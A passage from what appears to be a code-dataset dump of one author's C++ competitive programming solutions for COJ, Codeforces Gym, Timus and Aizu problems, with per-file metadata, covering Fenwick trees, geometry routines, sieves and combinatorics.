i;\r\n\t\te.id = 0;\r\n\t\tE.push_back(e);\r\n\t}\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\te.val\t= max(h[x], h[y]);\r\n\t\te.pos = i;\r\n\t\te.st = x;\r\n\t\te.en = y;\r\n\t\te.id = 1;\r\n\t\tE.push_back(e);\r\n\t}\r\n\tsort(E.begin(), E.end());\r\n\tfor (int i = 0; i < E.size(); i++) {\r\n\t\tif (E[i].id == 0) {\r\n\t\t\tupdate(E[i].pos, 1);\r\n\t\t} else {\r\n\t\t\tint tmp = query(E[i].en) - query(E[i].st);\r\n\t\t\tans[E[i].pos] = tmp;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < q; i++) {\r\n\t\tcout << ans[i] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.47111111879348755, "alphanum_fraction": 0.47111111879348755, "avg_line_length": 13, "blob_id": "6b2567d364c039dc0d3fe1fd31fae5ed9c5e649b", "content_id": "ba557fb75fefb7f282272dffa54a8dd885c1f530", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 225, "license_type": "no_license", "max_line_length": 32, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2748-Accepted-s586449.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint n, x, y, sol;\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &n); n--;)\r\n\t{\r\n\t\tscanf(\"%d%d\", &x, &y);\r\n\t\tsol = max(sol, x * x + y * y);\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.361647367477417, "alphanum_fraction": 0.42084941267967224, "avg_line_length": 17.95121955871582, "blob_id": "e4f5d67929a39b0e04d7340055b259a1ad515822", "content_id": "c564bcfa45c9e691095b48135d14c06f5da373c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 777, "license_type": "no_license", "max_line_length": 125, "num_lines": 41, "path": "/Codeforces-Gym/100497 - 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)\n// 100497A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100010;\n\nint m[MAXN], w[MAXN], s[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"in.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n int W = 0, M = 0, K = 0;\n\n for( int i = 1; i <= n; i++ ){\n cin >> m[i] >> w[i] >> s[i];\n\n w[i] = min( s[i] , w[i] );\n W += w[i];\n\n M += min( s[i] - w[i] , m[i] );\n m[i] -= min( s[i] - w[i] , m[i] );\n\n K += min( m[i] , w[i] );\n }\n\n if( M >= W ){\n cout << W << '\\n';\n }\n else{\n W -= M;\n cout << min( M + K , M + (W/2) ) << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4050387740135193, "alphanum_fraction": 0.44186046719551086, "avg_line_length": 13.333333015441895, "blob_id": "0d5d60d701d3a9b387e38ac3cfb7cf7dca33fea1", "content_id": "533930cd4a68c40a8ab61e3599e7fecf6f02e47d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 516, "license_type": "no_license", "max_line_length": 67, "num_lines": 36, "path": "/Codeforces-Gym/100753 - 2015 German Collegiate Programming Contest (GCPC 15) + POI 10-T3/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 German Collegiate Programming Contest (GCPC 15) + POI 10-T3\n// 100753G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n bool ok = true;\n\n int back = -1;\n\n for(int i = 0 ; i < n; i++){\n int x; cin >> x;\n if( x < back ){\n ok = false;\n }\n\n back = x;\n }\n\n if( ok ){\n cout << \"yes\\n\";\n }\n else{\n cout << \"no\\n\";\n }\n}\n" }, { "alpha_fraction": 0.34983277320861816, "alphanum_fraction": 0.39264214038848877, "avg_line_length": 16.012048721313477, "blob_id": "19305495ec0a09e5f2c0eca6d23e602625ea4783", "content_id": "3156fbc9fa1b55108b3452b876234a13bfb50a53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1495, "license_type": "no_license", "max_line_length": 56, "num_lines": 83, "path": "/COJ/eliogovea-cojAC/eliogovea-p3815-Accepted-s1120089.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint y = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\ty = mul(y, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn y;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tconst string ans[] = {\"\", \"0 0\", \"-1 0\", \"0 1\", \"1 0\"};\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tlong long n;\r\n\t\tcin >> n;\r\n\t\tif (n <= 4) {\r\n\t\t\tcout << ans[n] << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tlong long lo = 0;\r\n\t\tlong long hi = 1;\r\n\t\twhile (4LL * (hi + 1LL) * (hi + 1LL) < n) {\r\n\t\t\thi *= 2LL;\r\n\t\t}\r\n\t\tlong long k = lo;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tlong long mid = (lo + hi) / 2LL;\r\n\t\t\tif (4LL * (mid + 1LL) * (mid + 1LL) < n) {\r\n\t\t\t\tk = mid;\r\n\t\t\t\tlo = mid + 1LL;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1LL;\r\n\t\t\t}\r\n\t\t}\r\n\t\tn -= 4LL * (k + 1LL) * (k + 1LL);\r\n\t\tlong long x = 1LL + 2LL * k + 1LL;\r\n\t\tlong long y = -k - 1LL;\r\n\r\n\t\tlong long a = 3LL + 4LL * k;\r\n\t\tlong long b = 2LL + 2LL * k;\r\n\r\n\t\tif (n <= a + 2LL) {\r\n\t\t\tx -= (n - 1LL);\r\n\t\t} else if (n <= a + 2LL + b + 1LL) {\r\n\t\t\tx -= (a + 2LL);\r\n\t\t\tn -= (a + 2LL);\r\n\t\t\tx += (n - 1LL);\r\n\t\t\ty += (n - 1LL);\r\n\t\t} else {\r\n\t\t\tx -= (a + 2LL);\r\n\t\t\tx += (b + 1LL);\r\n\t\t\ty += (b + 1LL);\r\n\t\t\tn -= (a + 2LL);\r\n\t\t\tn -= (b + 1LL);\r\n\t\t\tx += (n - 1LL);\r\n\t\t\ty -= (n - 1LL);\r\n\t\t}\r\n\t\tcout << x << \" \" << y << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4506666660308838, "alphanum_fraction": 0.47200000286102295, "avg_line_length": 16.825000762939453, "blob_id": "9f3dc7851cfc1107508c7e179b265a0d1198c62c", "content_id": "085278809ed11daf585861ed743cbe4f2ec22826", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 750, "license_type": "no_license", "max_line_length": 61, "num_lines": 40, "path": "/Timus/1613-6169889.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1613\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 70005;\r\n\r\nint n, a[N], q, x, y, z;\r\nmap<int, vector<int> > m;\r\nmap<int, vector<int> >::iterator it;\r\nvector<int>::iterator xx;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tm[a[i]].push_back(i + 1);\r\n\t}\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tcin >> x >> y >> z;\r\n\t\tit = m.find(z);\r\n\t\tif (it == m.end()) {\r\n\t\t\tcout << \"0\";\r\n\t\t} else {\r\n\t\t\txx = lower_bound(it->second.begin(), it->second.end(), x);\r\n\t\t\tif (xx != it->second.end() && *xx <= y) {\r\n\t\t\t\tcout << \"1\";\r\n\t\t\t} else {\r\n\t\t\t\tcout << \"0\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.37741684913635254, "alphanum_fraction": 0.40448570251464844, "avg_line_length": 16.7391300201416, "blob_id": "35949555b9f74a1c005826c0baef76664b291272", "content_id": "415748e48a5d35f7e06a07a53932b71a6b7adee6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1293, "license_type": "no_license", "max_line_length": 62, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p3864-Accepted-s1120044.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tconst int V = 40;\r\n\r\n\tvector <long long> c(V); // catalan\r\n\tc[0] = 1;\r\n\tc[1] = 1;\r\n\tfor (int i = 2; i < V; i++) {\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tc[i] += c[j] * c[i - j];\r\n\t\t}\r\n\t}\r\n\r\n\tvector <vector <long long> > comb(V, vector <long long> (V));\r\n\tfor (int i = 0; i < V; i++) {\r\n\t\tcomb[i][0] = comb[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tcomb[i][j] = comb[i - 1][j - 1] + comb[i - 1][j];\r\n\t\t}\r\n\t}\r\n\r\n\tconst int N = 100 * 1000;\r\n\tvector <bool> sieve(N);\r\n\tfor (int i = 2; i * i < N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j < N; j += i) {\r\n\t\t\t\tsieve[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvector <int> primes;\r\n\tfor (int i = 2; i < N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tprimes.push_back(i);\r\n\t\t}\r\n\t}\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tint te = 0;\r\n\t\tlong long cc = 1;\r\n\t\tfor (int i = 0; primes[i] * primes[i] <= n; i++) {\r\n\t\t\tif (n % primes[i] == 0) {\r\n\t\t\t\tint e = 0;\r\n\t\t\t\twhile (n % primes[i] == 0) {\r\n\t\t\t\t\te++;\r\n\t\t\t\t\tn /= primes[i];\r\n\t\t\t\t}\r\n\t\t\t\tcc *= comb[te + e][e];\r\n\t\t\t\tte += e;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (n > 1) {\r\n\t\t\tcc *= (long long)(te + 1); //comb[te + 1][1];\r\n\t\t\tte++;\r\n\t\t}\r\n\t\tlong long ans = cc * c[te];\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5056588053703308, "alphanum_fraction": 0.5183736085891724, "avg_line_length": 19.985336303710938, "blob_id": "91fa533253a964608b9d270f7ad78f8247056ee7", "content_id": "7feb705b1363d6b994f4d5c5aa47ad07a358c5b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7157, "license_type": "no_license", "max_line_length": 103, "num_lines": 341, "path": "/Aizu/CGL_1_C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// Geometry INT\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\ninline int sign(const LL x) {\n\tif (x < 0) {\n\t\treturn -1;\n\t}\n\tif (x > 0) {\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nstruct point {\n\tLL x, y;\n\tpoint() {}\n\tpoint(LL _x, LL _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point &P, const point &Q) {\n\tif (P.y != Q.y) {\n\t\treturn P.y < Q.y;\n\t}\n\treturn P.x < Q.x;\n}\n\nbool operator == (const point &P, const point &Q) {\n\treturn !(P < Q) && !(Q < P);\n}\n\nstruct compare_x {\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (P.x != Q.x) {\n\t\t\treturn P.x < Q.x;\n\t\t}\n\t\treturn P.y < Q.y;\n\t}\n};\n\nvoid normalize(point &P) {\n\tassert(P.x != 0 || P.y != 0);\n\tLL g = __gcd(abs(P.x), abs(P.y));\n\tP.x /= g;\n\tP.y /= g;\n\tif (P.x < 0 || (P.x == 0 && P.y < 0)) {\n\t\tP.x = -P.x;\n\t\tP.y = -P.y;\n\t}\n}\n\ninline int half_plane(const point &P) {\n\tif (P.y != 0) {\n\t\treturn sign(P.y);\n\t}\n\treturn sign(P.x);\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point (P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const LL k) {\n\treturn point(P.x * k, P.y * k);\n}\n\npoint operator / (const point &P, const LL k) {\n\tassert(k != 0 && P.x % k == 0 && P.y % k == 0);\n\treturn point(P.x / k, P.y / k);\n}\n\ninline LL dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline LL cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline LL dist2(const point &P, const point &Q) {\n\tLL dx = P.x - Q.x;\n\tLL dy = P.y - Q.y;\n\treturn dx * dx + dy * dy;\n}\n\ninline bool is_in(LL x, LL a, LL b) {\n\tif (a > b) {\n\t\tswap(a, b);\n\t}\n\treturn (a <= x && x <= b);\n}\n\ninline bool is_in(const point &P, const point &A, const point &B) {\n\tif (cross(B - A, P - A) != 0) {\n\t\treturn false;\n\t}\n\treturn (is_in(P.x, A.x, B.x) && is_in(P.y, A.y, B.y));\n}\n\ninline bool segment_segment_intersect(const point &A, const point &B, const point &C, const point &D) {\n\tif (cross(B - A, D - C) == 0) { // lines are parallel\n\t\treturn (is_in(A, C, D) || is_in(B, C, D) || is_in(C, A, B) || is_in(D, A, B));\n\t}\n\tif (sign(cross(C - A, B - A)) * sign(cross(D - A, B - A)) > 0) {\n\t\treturn false;\n\t}\n\tif (sign(cross(A - C, D - C)) * sign(cross(B - C, D - C)) > 0) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\ninline bool is_convex(const vector <point> &polygon) {\n\tint n = polygon.size();\n\tassert(n >= 3);\n\tfor (int i = 0; i < n; i++) {\n\t\tint j = (i + 1) % n;\n\t\tint k = (i + 2) % n;\n\t\tif (sign(cross(polygon[j] - polygon[i], polygon[k] - polygon[i])) < 0) {\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n\nconst int OUT = 0;\nconst int ON = 1;\nconst int IN = 2;\n/// 0 outside, 1 boundary, 2 inside\ninline int point_inside_polygon(const point &P, const vector <point> &polygon) {\n\tint n = polygon.size();\n\tint cnt = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tpoint A = polygon[i];\n\t\tpoint B = polygon[(i + 1) % n];\n\t\tif (is_in(P, A, B)) {\n\t\t\treturn ON;\n\t\t}\n\t\tif (B.y < A.y) {\n\t\t\tswap(A, B);\n\t\t}\n\t\tif (P.y < A.y || B.y <= P.y || A.y == B.y) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (sign(cross(B - A, P - A)) > 0) {\n\t\t\tcnt++;\n\t\t}\n\t}\n\tif (cnt & 1) {\n\t\treturn IN;\n\t}\n\treturn OUT;\n}\n\nstruct compare_angle {\n\tpoint O;\n\tcompare_angle() {}\n\tcompare_angle(point _O) {\n\t\tO = _O;\n\t}\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (half_plane(P - O) != half_plane(Q - O)) {\n\t\t\treturn half_plane(P - O) < half_plane(Q - O);\n\t\t}\n\t\tint c = sign(cross(P - O, Q - O));\n\t\tif (c != 0) {\n\t\t\treturn (c > 0);\n\t\t}\n\t\treturn dist2(P, O) < dist2(Q, O);\n\t}\n};\n\n/// !!! no se como mantener los puntos colineales\nvector <point> convex_hull_graham_scan(vector <point> pts) {\n\tsort(pts.begin(), pts.end());\n\tint n = pts.size();\n\tif (n <= 3) {\n\t\treturn pts;\n\t}\n\tsort(++pts.begin(), pts.end(), compare_angle(pts[0]));\n\n\tcerr << \"DEBUG\\n\";\n\tfor (int i = 0; i < n; i++) {\n\t\tcerr << pts[i].x << \" \" << pts[i].y << \"\\n\";\n\t}\n\n\tvector <point> ch(n);\n\tint top = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\twhile (top >= 2 && cross(ch[top - 1] - ch[top - 2], pts[i] - ch[top - 2]) < 0) {\n\t\t\ttop--;\n\t\t}\n\t\tch[top++] = pts[i];\n\t}\n\tch.resize(top);\n\treturn ch;\n}\n\nvector <point> convex_hull_monotone_chain(vector <point> pts) {\n\tsort(pts.begin(), pts.end());\n\tint n = pts.size();\n\tvector <point> ch(2 * n);\n\tint top = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\twhile (top >= 2 && cross(ch[top - 1] - ch[top - 2], pts[i] - ch[top - 2]) < 0) {\n\t\t\ttop--;\n\t\t}\n\t\tch[top++] = pts[i];\n\t}\n\tint size = top;\n\tfor (int i = n - 2; i >= 0; i--) {\n\t\twhile (top - size >= 1 && cross(ch[top - 1] - ch[top - 2], pts[i] - ch[top - 2]) < 0) {\n\t\t\ttop--;\n\t\t}\n\t\tch[top++] = pts[i];\n\t}\n\tif (ch[0] == ch[top - 1]) {\n\t\ttop--;\n\t}\n\tch.resize(top);\n\treturn ch;\n}\n\n//http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_2_B\n// test OK\nvoid test_segment_segment_intersection() {\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tcout << (segment_segment_intersect(A, B, C, D) ? \"1\" : \"0\") << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_3_B\n// test OK\nvoid test_is_convex() {\n\tint n;\n\tcin >> n;\n\tvector <point> polygon(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> polygon[i].x >> polygon[i].y;\n\t}\n\tcout << (is_convex(polygon) ? \"1\" : \"0\") << \"\\n\";\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_3_C\n// test OK\nvoid test_point_inside_polygon() {\n\tint n;\n\tcin >> n;\n\tvector <point> polygon(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> polygon[i].x >> polygon[i].y;\n\t}\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint P;\n\t\tcin >> P.x >> P.y;\n\t\tcout << point_inside_polygon(P, polygon) << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_2_A\n// test ok\nvoid test_parallel_orthogonal() {\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tint answer = 0;\n\t\tif (cross(B - A, D - C) == 0) {\n\t\t\tanswer = 2;\n\t\t} else if (dot(B - A, D - C) == 0) {\n\t\t\tanswer = 1;\n\t\t}\n\t\tcout << answer << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_4_A\n// test ok\nvoid test_convex_hull() {\n\tint n;\n\tcin >> n;\n\tvector <point> pts(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> pts[i].x >> pts[i].y;\n\t}\n\tvector <point> answer = convex_hull_monotone_chain(pts);\n\tcout << answer.size() << \"\\n\";\n\tfor (int i = 0; i < answer.size(); i++) {\n\t\tcout << answer[i].x << \" \" << answer[i].y << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_1_C\n// test ???\nvoid test_counter_clockwise() {\n\tpoint A, B;\n\tcin >> A.x >> A.y >> B.x >> B.y;\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint C;\n\t\tcin >> C.x >> C.y;\n\t\tint s = sign(cross(B - A, C - A));\n\t\tif (s != 0) {\n\t\t\tcout << ((s > 0) ? \"COUNTER_CLOCKWISE\" : \"CLOCKWISE\") << \"\\n\";\t\t\n\t\t} else {\n\t\t\tif (dot(B - A, C - A) < 0) {\n\t\t\t\tcout << \"ONLINE_BACK\\n\";\n\t\t\t} else {\n\t\t\t\tcout << (dist2(A, B) < dist2(A, C) ? \"ONLINE_FRONT\" : \"ON_SEGMENT\") << \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t// test_segment_segment_intersection();\n\t// test_is_convex();\n\t// test_point_inside_polygon();\n\t// test_parallel_orthogonal();\n\t// test_convex_hull();\n\ttest_counter_clockwise();\n}\n\n" }, { "alpha_fraction": 0.43971630930900574, "alphanum_fraction": 0.4751773178577423, "avg_line_length": 15.625, "blob_id": "cb947ecc02e11e280d9070282369970a1fa845b2", "content_id": "50d0bbf0495113613a4c70ef929bfc3bc51fe487", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 282, "license_type": "no_license", "max_line_length": 29, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2741-Accepted-s587697.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nlong long n, a[100010], sol;\r\n\r\nint main()\r\n{\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tcin >> a[i];\r\n\tsort(a + 1, a + n + 1);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tsol += abs(a[i] - i);\r\n\tcout << sol << endl;\r\n}\r\n" }, { "alpha_fraction": 0.39171698689460754, "alphanum_fraction": 0.4270923137664795, "avg_line_length": 14.453332901000977, "blob_id": "24ac9975221ef82431c30fc4cfd828ee6e282fef", "content_id": "b931b4cfc30bdac8883b9cef2734defe92e3f5de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1159, "license_type": "no_license", "max_line_length": 85, "num_lines": 75, "path": "/Codeforces-Gym/101174 - 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)\n// 101174F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nvector<int> g[MAXN];\nint m[MAXN], r[MAXN], t[MAXN];\n\nconst int MAX = 100010;\n\ntypedef long long ll;\n\nll BIT[MAX];\n\nvoid upd_bit( int p, ll upd ){\n while( p < MAX ){\n BIT[p] += upd;\n p += (p & -p );\n }\n}\n\nll get_bit( int p ){\n ll res = 0;\n while( p > 0 ){\n res += BIT[p];\n p -= ( p & -p );\n }\n\n return res;\n}\n\nll sol[MAXN];\n\nvoid dfs( int u ){\n sol[u] -= get_bit( r[u] - 1 );\n\n for( int i = 0; i < g[u].size(); i++ ){\n dfs( g[u][i] );\n }\n\n sol[u] += get_bit( r[u] - 1 );\n\n upd_bit( r[u] , t[u] );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n int ro = 0;\n\n for( int i = 1; i <= n; i++ ){\n cin >> m[i] >> r[i] >> t[i];\n if( m[i] == -1 ){\n ro = i;\n }\n else{\n g[ m[i] ].push_back(i);\n }\n }\n\n dfs( ro );\n\n for( int i = 1; i <= n; i++ ){\n cout << sol[i] << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.46560847759246826, "alphanum_fraction": 0.48677247762680054, "avg_line_length": 10.600000381469727, "blob_id": "9acabd07c2f44944d77e72aae786b1e7468ba5fa", "content_id": "82acebdee2ea2ec7d88df8b160b7fee004661ca9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 189, "license_type": "no_license", "max_line_length": 36, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1214-Accepted-s527043.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint c;\r\ndouble a,s;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&c);c--;)\r\n\t{\r\n\t\tscanf(\"%lf%lf\",&a,&s);\r\n\t\tprintf(\"%.2lf\\n\",sqrt(s*s/4.0-a));\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4027777910232544, "alphanum_fraction": 0.4236111044883728, "avg_line_length": 18.571428298950195, "blob_id": "541a8bff51955ac9d297c43b96451a8f20b45718", "content_id": "9ccf4ad8f1473c154455ffd9cf1132fc7b94fb3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 432, "license_type": "no_license", "max_line_length": 56, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2608-Accepted-s582477.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll f(ll n)\r\n{\r\n ll res = (n & 1ll);\r\n\tfor (ll i = 1ll, aux = res; ll(1ll << i) <= n; i++)\r\n\t\tif (n & ll(1ll << i))\r\n res += i * (1ll << ll(i - 1ll)) + aux + 1ll,\r\n aux |= ll(1ll << i);\r\n\treturn res;\r\n}\r\nll a, b;\r\nint main()\r\n{\r\n //while (cin >> a) cout << f(a) << endl;\r\n cin >> a >> b;\r\n cout << f(b) - f(a - 1ll) << endl;\r\n}\r\n" }, { "alpha_fraction": 0.4335443079471588, "alphanum_fraction": 0.4778481125831604, "avg_line_length": 16.58823585510254, "blob_id": "ee817d2b121461bc796627a8ef7c99668d4f5dc2", "content_id": "7131568041c5890acfbba54d71689bf9dab380d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 316, "license_type": "no_license", "max_line_length": 73, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1845-Accepted-s959888.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(4);\r\n\tdouble c = 0.5 * (1.0 + tan(M_PI / 3.0)) * (1.0 + tan(5.0 * M_PI / 12));\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tdouble r;\r\n\t\tcin >> r;\r\n\t\tcout << fixed << r * r * c << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34031006693840027, "alphanum_fraction": 0.3581395447254181, "avg_line_length": 22.80769157409668, "blob_id": "a57d5708e9c3645703ad24b5395be37f328fd7c5", "content_id": "7fecc625d6935833a89d88b8599705adb33aa9d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1290, "license_type": "no_license", "max_line_length": 70, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p2153-Accepted-s567648.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nint signo( ll x ) {\r\n if( x < 0ll ) return -1;\r\n else if( x == 0ll ) return 0;\r\n return 1;\r\n}\r\n\r\nstruct point {\r\n\tll x, y;\r\n\tpoint(){}\r\n\tpoint( ll a, ll b ) { x = a; y = b; }\r\n};\r\n\r\nll cross( point a, point b, point c ) {\r\n\treturn ( b.x - a.x ) * ( c.y - a.y ) - ( b.y - a.y ) * ( c.x - a.x );\r\n}\r\n\r\npoint a,b,c,p;\r\n\r\nint main() {\r\n\r\n\tcin >> a.x >> a.y\r\n\t\t>> b.x >> b.y\r\n\t\t>> c.x >> c.y\r\n\t\t>> p.x >> p.y;\r\n\r\n\tint v1 = signo( cross( p, a, b ) );\r\n\tint v2 = signo( cross( p, b, c ) 